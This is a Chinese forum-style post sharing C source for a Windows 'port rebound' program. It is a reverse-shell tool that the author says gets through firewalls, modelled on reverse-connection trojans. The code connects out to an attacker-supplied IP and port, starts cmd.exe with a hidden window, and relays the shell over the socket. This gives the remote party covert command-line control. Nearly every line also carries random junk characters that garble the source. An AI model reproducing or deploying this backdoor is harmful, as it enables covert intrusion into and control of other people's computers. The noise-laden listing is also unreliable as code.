Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 1`F25DhhY
 
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/* ============================== =`/GBT$  
Rebound port in Windows NT ^CfWLL&
c  
By wind,2006/7 #'fQx`LV  
===============================*/ :P?zy|aBi  
#include V[^+lR  
#include Rwe!xY^d8  
w@i;<LY.  
#pragma comment(lib,"wsock32.lib") W;^6=(&xn  
K[R.B!;N  
void OutputShell(); .gs:.X)TG9  
SOCKET sClient; n,*E s/\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^2-+MWW.  
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void main(int argc,char **argv) 8<_dNt'91  
{ HbMD5(  
WSADATA stWsaData; (yv)zg9  
int nRet; Jie=/:&  
SOCKADDR_IN stSaiClient,stSaiServer; @s8wYcW  
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if(argc != 3) AVi,+n  
{ Xp?WoC N  
printf("Useage:\n\rRebound DestIP DestPort\n"); m*rw?nLZ  
return; 5.U4P<qS  
} Mp_SL^g|  
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WSAStartup(MAKEWORD(2,2),&stWsaData); kPezR: 31  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w|( ix;pK  
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stSaiClient.sin_family = AF_INET; 8ps1Q2|  
stSaiClient.sin_port = htons(0); >d<tcaB  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <hB~|a<#  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?(E?oJ)(  
{ jU!ibs}R3  
printf("Bind Socket Failed!\n"); d'!abnF[d  
return; %R@&8  
} H5/w!y@  
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stSaiServer.sin_family = AF_INET; K?gO]T{6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Z/+H  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sZ%wQqy~k  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %+ur41HM  
{ .Dt.7G  
printf("Connect Error!"); =0_((eXwf  
return; l(uV@_3  
} z18<rj  
OutputShell(); sV-UY!   
} !WNO!S0/j  
w(UZmZb}  
void OutputShell() oG' 'my#3  
{ n~'cKy)m  
char szBuff[1024]; $x;(C[  
SECURITY_ATTRIBUTES stSecurityAttributes; =fcRH:B:  
OSVERSIONINFO stOsversionInfo; 1pZ[rM'}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1)!?,O\ey  
STARTUPINFO stStartupInfo; n$E'+kox  
char *szShell; n+w$'l  
PROCESS_INFORMATION stProcessInformation; WlRaD%Q  
unsigned long lBytesRead; nAk;a|Q  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n*y@3.  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ggHz-oNY  
stSecurityAttributes.lpSecurityDescriptor = 0; z]n&,q,5g  
stSecurityAttributes.bInheritHandle = TRUE; ]tc Cr;  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q0(3ps~H  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k?`Q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2hFOwI  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C0-,<X  
stStartupInfo.wShowWindow = SW_HIDE; <c]?  
stStartupInfo.hStdInput = hReadPipe; LhQidvCNJ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8rM1kOCf  
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GetVersionEx(&stOsversionInfo); j\TS:F^z  
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switch(stOsversionInfo.dwPlatformId) Qvm[2mb  
{ ~RIa),GVX  
case 1: ?oulQR6:  
szShell = "command.com"; M<cm]  
break; w_9[y  
default: %lqrq<Xn  
szShell = "cmd.exe"; c2Up<#t  
break; [J+]1hCZ|  
} "Tc[1{
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M =6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &d i=alvv1  
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send(sClient,szMsg,77,0); `!7QegJa"  
while(1) oxJ#NGD  
{ ^|lG9z%Foy  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 02mu%|"  
if(lBytesRead) B+2Jea,N  
{ C.Re*;EI,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); a 8.Xy])!  
send(sClient,szBuff,lBytesRead,0); D}L4uz?  
} \!!1o+#1j  
else 0=c:O  
{ 2hFj+Ay  
lBytesRead=recv(sClient,szBuff,1024,0); -r@/8"  
if(lBytesRead<=0) break; ;BjJ<?^{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ops""#Zi  
} @W\H%VR  
} ^5~)m6=2  
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return; n%I9l]  
}